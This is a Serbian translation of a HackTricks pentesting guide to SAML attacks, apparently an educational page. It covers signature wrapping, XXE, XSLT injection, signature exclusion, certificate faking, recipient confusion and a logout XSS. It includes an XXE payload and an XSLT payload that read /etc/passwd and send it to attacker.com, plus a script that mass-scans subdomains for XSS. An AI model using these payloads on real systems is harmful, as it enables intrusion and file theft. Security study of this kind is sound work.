hacktricks/pentesting-web/saml-attacks
2024-02-10 13:11:20 +00:00
..
README.md Translated to Serbian 2024-02-10 13:11:20 +00:00
saml-basics.md Translated to Serbian 2024-02-10 13:11:20 +00:00

Napadi na SAML

Napadi na SAML

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Alat

SAMLExtractor: Alat koji može preuzeti URL ili listu URL-ova i ispisuje SAML consume URL.

XML round-trip

U XML-u, potpisani deo XML-a se čuva u memoriji, zatim se vrši neko kodiranje/dekodiranje i proverava se potpis. Idealno, to kodiranje/dekodiranje ne bi trebalo da menja podatke, ali na osnovu tog scenarija, podaci koji se proveravaju i originalni podaci mogu biti različiti.

Na primer, pogledajte sledeći kod:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Pokretanje programa protiv REXML 3.2.4 ili ranijih verzija rezultiralo bi sledećim izlazom umesto toga:

First child in original doc: Y
First child after round-trip: Z

Ovako je REXML video originalni XML dokument iz programa iznad:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

A ovako ga je video nakon procesa parsiranja i serijalizacije:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Za više informacija o ranjivosti i kako je iskoristiti:

Napadi na omotavanje XML potpisa

U napadima na omotavanje XML potpisa (XSW), napadači iskorišćavaju ranjivost koja se javlja kada se XML dokumenti obrađuju kroz dve različite faze: provera potpisa i izvršavanje funkcije. Ovi napadi uključuju izmenu strukture XML dokumenta. Konkretno, napadač ubacuje lažne elemente koji ne ugrožavaju validnost XML potpisa. Ova manipulacija ima za cilj stvaranje neslaganja između elemenata koje analizira aplikacijska logika i onih koje proverava modul za verifikaciju potpisa. Kao rezultat toga, dok XML potpis ostaje tehnički validan i prolazi verifikaciju, aplikacijska logika obrađuje lažne elemente. Kao rezultat toga, napadač efektivno zaobilazi zaštitu integriteta i autentifikaciju porekla XML potpisa, omogućavajući ubacivanje proizvoljnog sadržaja bez otkrivanja.

Sledeći napadi se baziraju na ovom blog postu i ovom radu. Za daljnje detalje, proverite ove izvore.

XSW #1

  • Strategija: Dodaje se novi korenski element koji sadrži potpis.
  • Posledice: Validatori mogu biti zbunjeni između legitimnog "Response -> Assertion -> Subject" i napadačevog "zlog novog Response -> Assertion -> Subject", što dovodi do problema sa integritetom podataka.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Razlika u odnosu na XSW #1: Koristi odvojeni potpis umesto omotačkog potpisa.
  • Posledice: "Zla" struktura, slična XSW #1, ima za cilj da prevari poslovnu logiku nakon provere integriteta.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategija: Izrađuje se zla Assertion na istom hijerarhijskom nivou kao i originalna Assertion.
  • Posledice: Cilj je zbuniti poslovnu logiku da koristi zlonamerni podatak.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Razlika u odnosu na XSW #3: Originalna Assertion postaje dete duplicirane (zle) Assertion.
  • Posledice: Slično kao XSW #3, ali agresivnije menja XML strukturu.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Posebnost: Ni potpis ni originalna Assertion ne prate standardne konfiguracije (omotački/omotački/odvojeni).
  • Posledice: Kopirana Assertion obuhvata potpis, menjajući očekivanu strukturu dokumenta.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategija: Slično kao XSW #4 i #5, ali sa izmenom.
  • Posledice: Kopirana Assertion obuhvata potpis, koji zatim obuhvata originalnu Assertion, stvarajući ugnježđenu zlonamernu strukturu.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategija: Umetnut je element Extensions sa kopiranom Assertion kao dete.
  • Posledice: Ovo iskorišćava manje restriktivnu šemu elementa Extensions kako bi zaobišlo protivmere validacije šeme, posebno u bibliotekama poput OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Razlika u odnosu na XSW #7: Koristi drugi manje restriktivan XML element za varijantu napada.
  • Posledice: Originalna Assertion postaje dete manje restriktivnog elementa, menjajući strukturu koja se koristi u XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Alat

Možete koristiti Burp ekstenziju SAML Raider za parsiranje zahteva, primenu bilo kog XSW napada koji odaberete i pokretanje istog.

XXE

Ako ne znate koje vrste napada su XXE, molimo pročitajte sledeću stranicu:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

SAML odgovori su deflacionisani i kodirani XML dokumenti i mogu biti podložni napadima na XML spoljne entitete (XXE). Manipulacijom XML strukture SAML odgovora, napadači mogu pokušati da iskoriste XXE ranjivosti. Evo kako se takav napad može vizualizovati:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Alati

Takođe možete koristiti Burp ekstenziju SAML Raider za generisanje POC-a iz SAML zahteva kako biste testirali moguće XXE ranjivosti i SAML ranjivosti.

Pogledajte takođe ovaj govor: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT putem SAML-a

Za više informacija o XSLT-u idite na:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Ekstenzibilni jezik transformacija stilskih listova (XSLT) može se koristiti za transformisanje XML dokumenata u različite formate kao što su HTML, JSON ili PDF. Važno je napomenuti da se XSLT transformacije vrše pre verifikacije digitalnog potpisa. To znači da napad može biti uspešan čak i bez validnog potpisa; dovoljan je samopotpisani ili nevažeći potpis da bi se nastavilo.

Ovde možete pronaći POC za proveru ovakvih vrsta ranjivosti, na hacktricks stranici koja je pomenuta na početku ove sekcije možete pronaći zahteve.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Alatka

Takođe možete koristiti Burp ekstenziju SAML Raider za generisanje POC-a iz SAML zahteva radi testiranja mogućih XSLT ranjivosti.

Pogledajte i ovaj video: https://www.youtube.com/watch?v=WHn-6xHL7mI

Isključivanje XML potpisa

Isključivanje XML potpisa posmatra ponašanje SAML implementacija kada element Potpis nije prisutan. Ako ovaj element nedostaje, validacija potpisa možda se neće desiti, što ga čini ranjivim. Moguće je testirati ovo izmenom sadržaja koji se obično proverava potpisom.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Alatka

Takođe možete koristiti Burp ekstenziju SAML Raider. Presretnite SAML odgovor i kliknite na Remove Signatures. Na taj način se uklanjaju svi elementi Potpisa.

Sa uklonjenim potpisima, dozvolite zahtevu da se prosledi cilju. Ako Potpis nije potreban od strane Servisa

Lažiranje sertifikata

Lažiranje sertifikata je tehnika koja se koristi za testiranje da li Servis pružalac (SP) pravilno proverava da li je SAML poruka potpisana od strane pouzdanog Provajdera identiteta (IdP). Uključuje korišćenje *samopotpisanog sertifikata za potpisivanje SAML odgovora ili tvrdnje, što pomaže u evaluaciji procesa provere poverenja između SP i IdP.

Kako sprovesti lažiranje sertifikata

Sledeći koraci opisuju proces korišćenjem SAML Raider Burp ekstenzije:

  1. Presretnite SAML odgovor.
  2. Ako odgovor sadrži potpis, pošaljite sertifikat u SAML Raider Certs koristeći dugme Send Certificate to SAML Raider Certs.
  3. Na kartici SAML Raider Certificates, izaberite uvezeni sertifikat i kliknite na Save and Self-Sign da biste napravili samopotpisani klon originalnog sertifikata.
  4. Vratite se na presretnuti zahtev u Burp Proxy-u. Izaberite novi samopotpisani sertifikat iz padajućeg menija XML Signature.
  5. Uklonite sve postojeće potpise pomoću dugmeta Remove Signatures.
  6. Potpišite poruku ili tvrdnju novim sertifikatom koristeći dugme (Re-)Sign Message ili (Re-)Sign Assertion, prema potrebi.
  7. Prosledite potpisanu poruku. Uspješna autentifikacija ukazuje na to da SP prihvata poruke potpisane vašim samopotpisanim sertifikatom, otkrivajući potencijalne ranjivosti u procesu validacije SAML poruka.

Konfuzija primaoca tokena / Konfuzija cilja pružaoca usluge

Konfuzija primaoca tokena i konfuzija cilja pružaoca usluge podrazumeva proveru da li Servis pružalac pravilno proverava namenjenog primaoca odgovora. U osnovi, Servis pružalac treba da odbije autentifikacioni odgovor ako je namenjen drugom provajderu. Ključni element ovde je polje Primalac koje se nalazi unutar elementa SubjectConfirmationData SAML odgovora. Ovo polje specificira URL koji ukazuje gde Assertion treba da bude poslat. Ako stvarni primalac ne odgovara namenjenom Servis pružaocu, Assertion treba da bude smatran nevažećim.

Kako funkcioniše

Da bi bio izvodljiv napad Konfuzija primaoca SAML tokena (SAML-TRC), moraju se ispuniti određeni uslovi. Prvo, mora postojati važeći nalog na Servis pružaocu (označen kao SP-Legit). Drugo, ciljani Servis pružalac (SP-Target) mora prihvatiti tokene od istog Provajdera identiteta koji služi SP-Legit.

Proces napada je jednostavan pod ovim uslovima. Autentična sesija se pokreće sa SP-Legit putem deljenog Provajdera identiteta. SAML odgovor od Provajdera identiteta ka SP-Legit se presreće. Ovaj presretnuti SAML odgovor, koji je prvobitno bio namenjen SP-Legit, zatim se preusmerava na SP-Target. Uspeh ovog napada se meri time da SP-Target prihvata Assertion, omogućavajući pristup resursima pod istim imenom naloga koji se koristi za SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS u funkcionalnosti odjave

Originalno istraživanje može se pronaći na ovom linku.

Tokom procesa brute force pretrage direktorijuma, otkrivena je stranica za odjavu na sledećoj putanji:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Prilikom pristupa ovom linku, došlo je do preusmeravanja na:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Ovo je otkrilo da parametar base prihvata URL. Razmišljajući o tome, javila se ideja da se URL zameni sa javascript:alert(123); u pokušaju da se pokrene XSS (Cross-Site Scripting) napad.

Masovna eksploatacija

Iz ovog istraživanja:

Alat SAMLExtractor je korišćen za analizu poddomena uberinternal.com koji koriste istu biblioteku. Nakon toga, razvijen je skript koji cilja stranicu oidauth/prompt. Ovaj skript testira XSS (Cross-Site Scripting) unosom podataka i proverava da li se ti podaci reflektuju u izlazu. U slučajevima kada se unos zaista reflektuje, skript označava stranicu kao ranjivu.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: